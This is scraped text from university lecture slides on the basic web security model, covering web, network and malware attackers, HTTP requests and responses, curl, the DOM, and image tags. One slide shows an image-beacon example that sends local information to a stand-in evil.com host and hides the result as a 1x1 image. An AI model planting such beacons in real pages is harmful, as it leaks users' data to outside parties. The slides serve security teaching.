CSE484/CSE584 BASIC WEB SECURITY MODEL Dr. Benjamin Livshits Web - PowerPoint PPT Presentation

CSE484/CSE584 BASIC WEB SECURITY MODEL Dr. Benjamin Livshits

Web Security Web Attacker Sets up malicious site visited by victim; no control of network Alice

Network Security Network Attacker Intercepts and controls network communication Alice

Web Malware Attacker Malware Attacker Escapes the browser to wreak havoc on Alice’s machine Alice

Web Threat Models  Web attacker  Control https://attacker.com  Can obtain SSL/TLS certificate for https://attacker.com  User visits attacker.com This is what connects the world  Or: runs attacker’s Facebook app, etc. of web attacks to low-level  Network attacker memory-based exploitation  Passive: Wireless eavesdropper we’ve seen so far  Active: Evil router, DNS poisoning  Malware attacker  Attacker escapes browser isolation mechanisms and run separately under control of OS

Goals of Web Security Sa Safely browse th the web Support secu ecure e web eb applic lications  Applications delivered over  Users should be able to We will see a lot the web should have the visit a variety of web sa same se security propertie ies of Java and PHP sites, without incurring we require for stand-alone and JavaScript, applications harm: but not C or C++  No stolen information  Maybe even better such as login credentials or properties because most cookies web applications enjoy the  Site A cannot compromise protection provided by memory ry-safe lan languages session at Site B

Looking Ahead  HTTP  Communication  Rendering content  Navigation  Cookies  Security User Interface  Isolation  Frames and frame busting

HTTP

URLs or URIs  Global identifiers of network-retrievable documents  Example le: https://courses.cs.washington.edu:80/courses/cse484/14au/#schedule Protocol Fragment Hostname Path Port  Special characters are encoded as hex:  %0A = newline  %20 or + = space, %2B = + (special exception)

Short and Long URLs 10 10 Bit.ly: http://bit.ly/1vEIGks  http://longurlmaker.com:  http://www.longurlmaker.com/go?id=7continuedg20fIs.gd0GetShortyagl56001drawn%2Boutu6lingeringShortlinksX .sestretchedd7lingeringzc8faraway0UrlTeajbstretched15jcontinued011expanded86v3stretchedqdXil40ShortenURLk Xilz401spun%2Boutq54bextensiveShrtndwoutstretched151TinyLinkcontinued2lastingdltallaU76nr0h61g5aIs.gdd01 41cMooURL085ShortURLcShortenURL40stretchrangyXil3p17hSitelutionsuwURLvi1enlargedc03743186701Dwarfurl 4aefwextensive0EasyURL315continuedbprotractedb19GetShorty2SHurl171enduring038r8bURLviremote6URL1Shor tURLspun%2Boutelongated0aX.seoutstretched0d4distantSimURL27highd418olasting9ShoterLink8stretchedoSHurl4 lankydrawn%2Bout0drawn%2Boutlofty19a2kenduringShortenURLxs0spread%2Bout9distantFly2d10101great0w78 NutshellURL190Minilienstretchedn0stretchd0ShortenURL0enlargedtallX.seelongated9URL.co.ukspun%2BoutURLvi8 e1012Shim00Ulimit7lasting3Shim034far%2Boff47spun%2Bout17nwelongated17a99eeexpandedtallm9MooURL1dr emote46URL11NutshellURLStartURLb5itall40c6Shrinkr0Fly2lasting91n8clengthened51X.se5Minilien2ShredURLBea m.to99continued131G8L1ffarawaycontinued0distantrangy7c04964300315a2RubyURLfU76154j1roh82lengthened0 faraway1z4outstretched1lr1B654301URL09stringyq8ShrinkURL184h7Dwarfurldrunningloftylingering18spread%2Bo ut68101ShortURL10kalengthy9B653ab41fextensive0prolonged7p11expandedprolongedremotec2Minilien0dB65str etchingarfaraway3extensive1yclnk.in9lankygreat50TightURL173cURL.co.ukmba2049815920prolonged8fprotractedf 0stringy6i164eelongatedMiniliene9elongated0PiURL1488gd2020a30far%2Breachinglengthy216d411t691elongate1 6extensived0drawn%2Bout11lankyYepItB65Shim31extensiveURLCutterShim99GetShorty1042Fly2af0e8protractede longatey0111563FhURL9c3TinyURLn8toweringDwarfurl10d6350c5TightURL3lnk.in03Shrtnd6g0lingering18gangling prolonged8astringy7StartURL100TraceURLSmallr01drawn%2Bout60ganglingstringy80Beam.tocdistantsG8LX.sedra wn%2Boutedrawn%2Bouty040SitelutionsU7601drawn%2Bout6f53A2N2lasting1194stretchinggangling20lnk.inURLC utter135b80b3ShortURL6far%2Boffm013q515deep8WapURLShrinkURLd410090lnk.infar%2Boff701far%2Boff96ling ering8a6x38118Redirxfar%2Breaching1stretched0protracted16t0l21130b90106zShoterLink967Smallr9R

HTTP Request Method File HTTP version Headers GET /index.html HTTP/1.1 Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language: en Connection: Keep-Alive User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Host: www.example.com Referer: http://www.google.com?q=dingbats Blank line Data – none for GET GET : no side effect POST : possible side effect

POST 12 12 POST /pass.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://127.0.0.1/pass.php Cookie: passx=87e8af376bc9d9bfec2c7c0193e6af70; PHPSESSID=l9hk7mfh0ppqecg8gialak6gt5 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 30 username=zurfyx&pass=password

Automation with CURL 13 13  curl --data "birthyear=1905&press=%20OK%20" http://www.example.com/when.cgi  curl --data-urlencode "name=I am Daniel" http://www.example.com  Submit/POST binary data to a URL  curl -X POST --data-binary @myfile.bin http://foo.com

HTTP Response HTTP version Status code Reason phrase Headers HTTP/1.0 200 OK Date: Sun, 21 Apr 1996 02:20:42 GMT Server: Microsoft-Internet-Information-Server/5.0 Connection: keep-alive Content-Type: text/html Data Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT Set- Cookie: … Content-Length: 2543 <HTML> Some data... blah, blah, blah </HTML> Cookies

Common HTTP Codes 15 15 200 OK 401 Unauthorized 300 Multiple Choices 403 Forbidden 301 Moved Permanently 404 Not Found 302 Found 410 Gone 304 Not Modified 500 Internal Server Error 307 Temporary Redirect 501 Not Implemented 400 Bad Request 503 Service Unavailable 550 Permission denied

Browser Tools 16 16

Watch the HTTP Traffic 17 17

HTTP Supports Caching 18 18

And Responses Can Be Interesting 19 19

And Surprising… 20 20

Interacting with Google using CURL 21 21 1. Authenticate with Google first curl https://www.google.com/accounts/ClientLogin --data-  urlencode Email= you@gmail.com --data-urlencode Passwd= yourpasswd -d accountType=GOOGLE -d source= your.org-your.service- your.service.version -d service=wise SID=DQAAANcAAABjXXX; LSID=DQAAANoAXXX; Auth=DQAAANkAXXX  2. Get your spreadsheets curl --silent --header "Authorization: GoogleLogin  auth= DQAAANkAXXX " "https://spreadsheets.google.com/feeds/spreadsheets/private/full " | tidy -xml -indent -quiet 3. Get a particular spreadsheet curl --silent --header "Authorization: GoogleLogin auth=$AUTH"  "https://spreadsheets.google.com/feeds/download/spreadsheets/Exp ort?key=$KEY&exportFormat=tsv" | sort -n -k 15 -t $'\t'

Rendering Content

Rendering and Events  Each browser window  Events can be or frame…  User actions:  Loads content  OnClick  OnMouseover  Renders it  Rendering:  Processes HTML and scripts to display page  OnLoad  May involve images,  OnBeforeUnload sub-frames, etc.  Timing:  Responds to events  setTimeout()  clearTimeout()

Connecting it All Together 24 24

Slightly More Complex… 25 25

Document Object Model (DOM) Object-oriented interface used to  read and write docs  Web page in HTML is structured data  DOM provides representation of this hierarchy Includes Browser Object Model  (BOM)  window  document  frames[]  history  location  navigator (type and version of browser)

Deep DOM Trees 27 27

Pre-Year 2000 28 28 frame

Pre-Year 2000: Functionality Added Via JavaScript 29 29 frame

Changing HTML using JavaScript, DOM  Some possibilities  createElement(elementName) HTML <ul id="t1">  createTextNode(text) <li> Item 1 </li>  appendChild(newChild) </ul>  removeChild(node)  Example: Add a new list item: var list = document.getElementById('t1') var newitem = document.createElement('li') var newtext = document.createTextNode(text) list.appendChild(newitem) newitem.appendChild(newtext)

HTML Image Tags 31 31 < html > … < p > … </ p > … < img src =“http://example.com / sunset.gif ” height="50" width="100"> … </ html > Any security issues?

Image Beacons 32 32  Communicate with other sites  <img src =“http://evil.com/ pass- local- information.jpg?extra_info rmation ”>  Hide resulting image  <img src =“ … ” height=“1" width=“1">  Spoof other sites: add logos that fool a user

Beacons in Practice 33 33

onError in JavaScript 34 34  Triggered in case of error  Can register a JavaScript handler <img src="image.gif" onerror= "alert( 'The image couldn’t be loaded .')“ >